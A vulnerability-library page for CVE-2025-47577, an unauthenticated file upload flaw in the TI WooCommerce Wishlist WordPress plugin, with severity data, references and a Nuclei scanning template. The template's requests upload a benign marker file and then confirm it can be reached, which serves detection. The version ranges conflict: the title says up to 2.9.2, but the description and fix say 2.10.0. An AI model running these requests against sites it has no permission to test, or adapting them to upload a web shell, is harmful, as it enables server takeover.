/Vulnerability Library

TI WooCommerce Wishlist <= 2.9.2 - Arbitrary File Upload

CVE-2025-47577
Verified

Description

TemplateInvaders TI WooCommerce Wishlist <= 2.10.0 contains an unrestricted file upload vulnerability caused by lack of proper file type validation, letting attackers upload web shells to the server, exploit requires no special privileges.

Severity

High

CVSS Score

9.8

Exploit Probability

33%

Affected Product

ti-woocommerce-wishlist

Published Date

April 8, 2026

Template Author

cehcvkr

CVE-2025-47577.yaml
id: CVE-2025-47577

info:
  name: TI WooCommerce Wishlist <= 2.9.2 - Arbitrary File Upload
  author: cehcvkr
  severity: high
  description: |
   TemplateInvaders TI WooCommerce Wishlist <= 2.10.0 contains an unrestricted file upload vulnerability caused by lack of proper file type validation, letting attackers upload web shells to the server, exploit requires no special privileges.
  impact: |
   Attackers can upload malicious web shells, leading to remote code execution and full server compromise.
  remediation: |
   Update to version 2.10.0 or later.
  reference:
    - https://patchstack.com/articles/unpatched-critical-vulnerability-in-ti-woocommerce-wishlist-plugin/
    - https://github.com/Yucaerin/CVE-2025-47577
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47577
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47577
    epss-score: 0.33418
    epss-percentile: 0.97045
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: templateinvaders
    product: ti-woocommerce-wishlist
    publicwww-query: "/wp-content/plugins/ti-woocommerce-wishlist/"
  tags: cve,cve2025,wordpress,wp,wp-plugin,file-upload,ti-woocommerce-wishlist,rce,intrusive

flow: http(1) && http(2) && http(3) && http(4)

variables:
  upload_file: "{{rand_base(8)}}.txt"

http:
  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_id
        part: body
        group: 1
        regex:
          - 'data-tinv-wl-product="(\d+)"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "data-tinv-wl-product=")'
        internal: true
        condition: and

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150

        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="form[tinvwl-hidden-fields]"

        []
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="form[file]"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="file"; filename="{{upload_file}}"
        Content-Type: text/plain

        CVE-2025-47577-{{upload_file}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="tinv_wishlist_id"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="tinv_wishlist_name"


        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_type"

        simple
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_id"

        {{product_id}}
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_variation"

        0
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="product_action"

        addto
        -----------------------------735323031399963166993862150
        Content-Disposition: form-data; name="redirect"

        {{BaseURL}}/
        -----------------------------735323031399963166993862150--

    extractors:
      - type: json
        name: wishlist_url
        part: body
        json:
          - '.wishlist_url'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wishlist_url")'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        GET {{wishlist_url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "wp-content", "uploads", upload_file)'
        internal: true
        condition: and

  - raw:
      - |
        GET /wp-content/uploads/{{date_time("2006")}}/{{date_time("01")}}/{{upload_file}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2025-47577-" + upload_file)'
        condition: and
# digest: 490a0046304402205cfdb2947c0901754a4c1c45059f16fc259b3324b4c4075741896dde2b92772002201ed167b17320773eaf47340a0b6926d13e894386a38b5085aee6c27db0ca9e47:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-47577
CWE ID:
cwe-434

References

https://patchstack.com/articles/unpatched-critical-vulnerability-in-ti-woocommerce-wishlist-plugin/https://github.com/Yucaerin/CVE-2025-47577https://nvd.nist.gov/vuln/detail/CVE-2025-47577

Remediation Steps

Update to version 2.10.0 or later.